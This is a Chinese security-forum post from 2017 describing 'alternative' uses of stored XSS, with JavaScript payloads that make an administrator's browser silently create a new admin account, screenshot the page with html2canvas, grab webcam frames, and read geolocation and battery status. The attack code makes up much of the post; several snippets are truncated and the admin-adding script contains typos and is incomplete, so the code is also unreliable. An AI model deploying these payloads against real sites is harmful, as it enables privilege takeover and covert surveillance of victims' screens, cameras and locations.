XSS攻击另类玩法

sebao / 2017-03-28 06:04:35 / 浏览数 4009 安全技术 技术讨论 顶(0) 踩(0)

今天就来讲一下大家都熟悉的 xss漏洞的攻击利用。相信大家对xss已经很熟悉了，但是很多安全人员的意识里
xss漏洞危害只有弹窗或者窃取cookie。但是xss还有更多的花式玩法，今天将介绍几种。

1. xss攻击添加管理员

后台触发存储型XSS，网站设置http-only，窃取的cookie无效。那么如何在这种情况下利用xss漏洞。

无法获取cookie，但是我们可以利用xss漏洞，以管理员的权限，添加一个新的管理员。没错，就是让管理员给我们加一个高权限账号。

这里我们会用到 JavaScript和Ajax 技术。 利用xmlhttp 发送一个http请求，在后台发送一个添加管理员的post请求。

JavaScript

```
var request = false;
if(window.XMLHttpRequest) {
request = new.XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/html');
}
} else if(Window.ActiveXObject) {
var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLH
for(var i=0; i<versions.length; i ++){
try{
request = new ActiveXObject(versions[i]);
}catch(e){}
}
}
xmlhttp = request;

add_admin();
function add_admin(){
var url = "/admin/admin_add_user.php";  //■■■■■■■■
var params = "username=xss&passwod=123456&email=xss@xss.com&submit=1" //■■■■post■■
xmlhttp.open("POST",url,true);
xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")
xmlhttp.setRequstHeader("Content-length",params.length);
xmlhttp.setRequstHeader("Connection"■"close")
}
```

2, xss截取客户的屏幕

现在随着技术的进步，前端技术支持的面非常广泛。xss漏洞可以利用html5的 canvas
来进行屏幕的截屏功能，类似于远程控制木马查看对方屏幕功能。这个可以大大的提高对于进一步入侵的信息收集。废话不说直接上代码。

这里需要用到一个js库 html2canvas.js

JavaScript

```
document.write("<script src="html2canvas.js\><\/script>");    window.onload=function(){        html2canvas(document.body, {
```

上面的代码是针对 pc端的截屏，手机端的截屏xss代码有所不同

JavaScript

```
<script>d=document;v=d.createElement('video');c=d.createElement('canvas');c.width=640;c.height=480;navigator.webkitGetUserMedi
```

这两种服务端获取到的post数据包是 base64格式的 ，我们只要进行转码即可看到对方的屏幕截图。

3.xss对移动端的攻击

现在越来越多的人喜欢用手机查看网页，xss针对手机端的支持也很友好。

这里只针对手机端Firefox浏览器说明。

xss获取对方经纬度代码

JavaScript

```
<script>navigator.geolocation.getCurrentPosition(function(p){alert('Latitude:'+p.coords.latitude+',Longitude:'+p.coords.longit
```

xss获取电池状态的代码，这里需要用到JavaScript BatteryAPI

JavaScript

```
<svg onload=alert(navigator.battery.level)><svg onload=alert(navigator.battery.dischargingTime)><svg onload=alert(navigator.ba
```

更多xss猥琐玩法欢迎交流，文章若有错误请留言告知~

点击收藏 | 0 关注 | 0

上一篇：基于MitM的RDP降级攻击 下一篇：支付风控模型和流程分析

1. 1 条回复

anting 2017-03-28 09:42:58

挺好的

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录